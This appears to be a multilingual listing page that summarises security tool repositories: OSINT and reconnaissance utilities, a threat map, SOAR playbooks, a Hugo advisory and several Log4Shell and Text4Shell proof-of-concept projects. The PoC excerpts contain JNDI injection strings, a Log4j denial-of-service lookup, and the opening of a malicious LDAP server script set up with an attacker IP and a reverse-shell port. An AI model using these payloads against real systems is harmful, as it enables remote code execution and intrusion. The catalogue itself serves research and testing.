log4j-exploit-fork-bomb

log4j-exploit-with-fork-bomb 💣💥💀 Proof of Concept: 利用 CVE-2021-44228 漏洞在远程服务器上启动 fork bomb 的示例 1. 创建攻击者的 LDAP 服务器（server 模块），该服务器将提供字符串和代码的表示（payload 模块） 2. 创建受害者示例（victim 模块），并将字符串传递给 Log4j JRE 版本 = 6u211, 7u201, 8u191 和 11.0.1 root@kitploit: $jndi:ldap://127.0.0.1:1389/anything...

raven

Raven - Advanced Cyber Threat Map Simplified, customizable and responsive. It uses D3.js with TOPO JSON, has 247 countries, 100,000 cities, and can be used in an isolated environment without external lookups!. Structure Offline - Demo Firefox, Chrome or Safari Live - Regression 500 attacks at onc...

phantom-playbooks

这是为 Splunk Phantom 开发的 Corelight 社区 Playbook 仓库。这些提供了一些示例，供你制作自己的 playbook。 Corelight Investigate DNS Alert 本 playbook 从 Splunk 获取 DNS 的已保存搜索或警报机制，并提取警报的 Zeek UID。然后使用逻辑根据 DNS 应答结果识别误报。接着，逻辑获取 DNS IPv4/IPv6 地址，并查找具有匹配 IP 元组的 Conn 日志。随后使用服务来查找 HTTP 或 SSL 流量，并提取有趣的元数据。如果在这些连接期间看到文件，则使用文件 SHA1 在...

EUVD-2026-76070

Hugo is a static site generator. In versions after v0.123.0 and before v0.165.0, symlinks in parent directories were not dropped during direct resource lookups, allowing path confinement to be bypassed. An attacker who can place — or who convinces a site author to place — a symlink inside a mount...

asnmap

用于通过 自治系统（ASN） 信息快速映射组织网络范围的 Go CLI 和库。 功能 • 安装 • 用法 • 运行 asnmap • 加入 Discord 功能 ASN 转 CIDR 查询 组织 转 CIDR 查询 DNS 转 CIDR 查询 IP 转 CIDR 查询 ASN/DNS/IP/组织 输入 JSON/CSV/TEXT 输出 支持标准 输入/输出 安装 asnmap 需要 Go 1.21 才能成功安装。只需运行以下命令或从 发布页面 下载预编译二进制文件即可安装。 root@kitploit: go install...

fav-up

Fav-up faviconアイコンから実際のIPを検索し、Shodanを使用します。 インストール pip3 install -r requirements.txt Shodan APIキー（無料版ではないもの ） 使用方法 CLI まず、APIキーの渡し方を定義します： -k または --key: 標準入力でキーを渡す -kf または --key-file: キーを取得するファイル名を指定 -sc または --shodan-cli: Shodan CLIからキーを取得（初期化済みの場合） 現在、このツールは以下の3つの方法で使用できます： -ff または --favicon-file...

fav-up

Fav-up Lookups for real IP starting from the favicon icon and using Shodan. Installation pip3 install -r requirements.txt Shodan API key not the free one Usage CLI First define how you pass the API key: -k or --key to pass the key to the stdin -kf or --key-file to pass the filename which get the...

CVE-2021-44228-Apache-Log4j-Rce

CVE-2021-44228（Apache Log4j 远程代码执行） 所有 log4j-core 版本 =2.0-beta9 且 =2.14.1 1.x 版本存在其他漏洞，建议您更新到最新版本。 与 Log4Shell CVE-2021-44228 相关的安全公告/通报 使用方法： 下载本项目，编译利用代码 blob/master/src/main/java/Exploit.java，并启动一个允许下载编译后二进制文件的 Web 服务器。 root@kitploit: git clone...

mylg

myLG, Command line Network Diagnostic Tool myLG is an open source software utility which combines the functions of the different network probes in one network diagnostic tool. Features Popular looking glasses ping/trace/bgp: Telia, Level3, NTT, Cogent, KPN More than 200 countries DNS Lookup...

cve-2022-42889-text4shell-docker

安装 Maven - maven-linux 1. 安装 Maven 以创建胖 JAR 包 root@kitploit: mvn clean install 2. Docker 构建 root@kitploit: docker build --tag=text4shell . 3. Docker 运行 root@kitploit: docker run -p 80:8080 text4shell 4. 测试应用 root@kitploit: http://localhost/text4shell/attack?search= 5. 可通过传递字符串 “$prefix:name”...

wtfis

wtfis 面向非机器人的被动式主机名、域名和 IP 查询工具 WTF 是什么？ wtfis 是一款命令行工具，通过多种 OSINT 服务收集域名、FQDN 或 IP 地址的相关信息。与其他同类工具不同，它专为人类阅读而设计，提供美观（效果因人而异）且易于阅读和理解的结果。 本工具假设你使用的是免费版/社区版账户，因此会尽可能减少 API 调用次数，以尽量避免触发配额和速率限制。 项目名称是 "whois" 的谐音。 数据源 服务| 用于查询| 必需| 免费版 ---|---|---|--- Virustotal| 全部| 否| 是 AbuseIPDB| IP 地址| 否| 是...

CVE-2021-44228-Log4Shell-

CVE-2021-44228-Log4Shell- 渗透测试 1. 创建恶意LDAP服务器（使用Marshalsec） !/bin/bash Script: startldapserver.sh 要求：安装Java和Marshalsec https://github.com/mbechler/marshalsec LDAPPORT="1389" HTTPPORT="8000" ATTACKERIP="192.168.0.101" REVERSEPORT="5555" echo "+ 在端口 $LDAPPORT 上启动恶意LDAP服务器..." java -cp...

poastal

Poastal - 電子メールOSINTツール Poastal は、あらゆるメールアドレスに関する貴重な情報を提供する電子メールOSINTツールです。Poastalを使えば、メールアドレスを入力するだけで、いくつかの質問に素早く答え、重要な情報を得ることができます。 ✨ 機能 メールアドレスを持つ人物の名前を特定します。 メールが配信可能かどうかを確認します。 メールが使い捨て（一時的）かどうかを調べます。 メールがスパムとみなされるかどうかを識別します。...

Log4j_dos_CVE-2021-45105

Log4j2 拒绝服务（CVE-2021-45105） PoC root@kitploit: $$::-$::-$$::-$ 受影响版本：从 2.0-beta9 到 2.16.0 的所有版本 该应用程序基于易受 CVE-2021-45105 影响的 Spring Boot Web 应用程序。 它使用 Log4j 2.16.0。 运行应用程序 运行它： root@kitploit: Import the project in Java IDE as a maven project Run CVEMainApplication.java as a spring boot app. 漏洞利用步...

chiasmodon

Chiasmodon Chiasmodonは、ユーザーがさまざまな情報源から情報を収集し、ドメイン、Google Playアプリケーション、メールアドレス、IPアドレス、組織、URLなどに基づいてターゲット検索を実行できるOSINTツールです。包括的なスキャン機能、カスタマイズ可能な出力形式、データ分析とカスタマイズを強化するための追加オプションを提供します。 ✨機能 🌐ドメイン : ドメイン名を指定してターゲット検索を実行し、ドメインに関連する情報を収集します。 🎮Google Playアプリケーション : アプリケーションIDを指定してGoogle...

instarecon

InstaRecon 自動化された基本的なデジタル偵察。ターゲットの初期フットプリントを取得し、追加のサブドメインを発見するのに最適です。InstaReconは以下を実行します: DNSルックアップ A, PTR, MX, NS 発見されたすべてのホストに対して再帰的にDNSルックアップ Whois ドメインおよびIP ルックアップ サブドメインとURLを探すGoogle dork Shodan ルックアップ 全体のCIDRに対する逆DNSルックアップ ターゲットがネットワークの場合のみ ...すべてコンソールまたはCSVファイルにきれいに出力されます。...

CVE-2021-44228-Demo

CVE-2021-44228-Demo 利用 CVE-2021-44228，通过 RMI 和 LDAP 两种方式远程注入代码的示例。 root@kitploit: Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit RmiServer 和 LdapServer 启动依赖 Python3。 ...

Log4j_CVE-2021-45046

Log4j 2.15.0 特権昇格 -- CVE-2021-45046 攻撃 説明 Apache Log4j 2.15.0 における CVE-2021-44228 の修正が、特定の非デフォルト構成では不完全であることが判明しました。これにより、Thread Context Map MDC 入力データを制御できる攻撃者が、ログ設定でデフォルト以外の Pattern Layout に Context Lookup 例: $$ctx:loginId または Thread Context Map パターン %X, %mdc, %MDC を使用している場合に、JNDI Lookup...

AttackSurfaceMapper

AttackSurfaceMapper AttackSurfaceMapper ASM is a reconnaissance tool that uses a mixture of open source intelligence and active techniques to expand the attack surface of your target. You feed in a mixture of one or more domains, subdomains and IP addresses and it uses numerous techniques to find...

contact.sh

contact.sh An OSINT tool to find contacts in order to report security vulnerabilities. Installation 🐧 GNU/Linux Make sure you have installed the whois and jq packages. root@kitploit: $ git clone https://github.com/EdOverflow/contact.sh.git $ cd contact.sh/ $ chmod u+x contact.sh $ ./contact.sh -d...